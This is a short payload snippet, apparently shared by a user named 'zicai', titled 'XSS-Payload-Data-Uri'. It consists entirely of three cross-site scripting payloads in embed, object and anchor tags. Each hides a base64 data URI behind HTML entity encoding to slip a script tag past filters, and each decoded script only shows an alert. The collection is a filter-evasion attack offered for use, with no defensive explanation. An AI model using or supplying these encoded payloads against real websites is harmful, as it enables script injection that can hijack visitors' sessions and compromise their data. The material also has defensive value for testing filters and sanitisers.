XSS-Payload-Data-Uri

by zicai

HTML

<!-- data uri + HTML 编码 -->

<embed src="&#x64;&#x61;&#x74;&#x61;&colon;&#x74;&#x65;&#x78;&#x74;&sol;&#x68;&#x74;&#x6D;&#x6C;&semi;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&comma;&#x50;&#x48;&#x4E;&#x6A;&#x63;&#x6D;&#x6C;&#x77;&#x64;&#x44;&#x35;&#x68;&#x62;&#x47;&#x56;&#x79;&#x64;&#x43;&#x67;&#x6E;&#x5A;&#x57;&#x31;&#x69;&#x5A;&#x57;&#x51;&#x74;&#x63;&#x33;&#x4A;&#x6A;&#x4A;&#x79;&#x6B;&#x38;&#x4C;&#x33;&#x4E;&#x6A;&#x63;&#x6D;&#x6C;&#x77;&#x64;&#x44;&#x34;&percnt;&#x33;&#x44;" type="">

<object data="&#x64;&#x61;&#x74;&#x61;&colon;&#x74;&#x65;&#x78;&#x74;&sol;&#x68;&#x74;&#x6D;&#x6C;&semi;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&comma;&#x50;&#x48;&#x4E;&#x6A;&#x63;&#x6D;&#x6C;&#x77;&#x64;&#x44;&#x35;&#x68;&#x62;&#x47;&#x56;&#x79;&#x64;&#x43;&#x67;&#x6E;&#x62;&#x32;&#x4A;&#x71;&#x5A;&#x57;&#x4E;&#x30;&#x4C;&#x57;&#x52;&#x68;&#x64;&#x47;&#x45;&#x6E;&#x4B;&#x54;&#x77;&#x76;&#x63;&#x32;&#x4E;&#x79;&#x61;&#x58;&#x42;&#x30;&#x50;&#x67;&percnt;&#x33;&#x44;&percnt;&#x33;&#x44;" type=""></object>

<a href="&#x64;&#x61;&#x74;&#x61;&colon;&#x74;&#x65;&#x78;&#x74;&sol;&#x68;&#x74;&#x6D;&#x6C;&semi;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&comma;&#x50;&#x48;&#x4E;&#x6A;&#x63;&#x6D;&#x6C;&#x77;&#x64;&#x44;&#x35;&#x68;&#x62;&#x47;&#x56;&#x79;&#x64;&#x43;&#x67;&#x6E;&#x59;&#x53;&#x31;&#x6F;&#x63;&#x6D;&#x56;&#x6D;&#x4A;&#x79;&#x6B;&#x38;&#x4C;&#x33;&#x4E;&#x6A;&#x63;&#x6D;&#x6C;&#x77;&#x64;&#x44;&#x34;&percnt;&#x33;&#x44;">click me</a>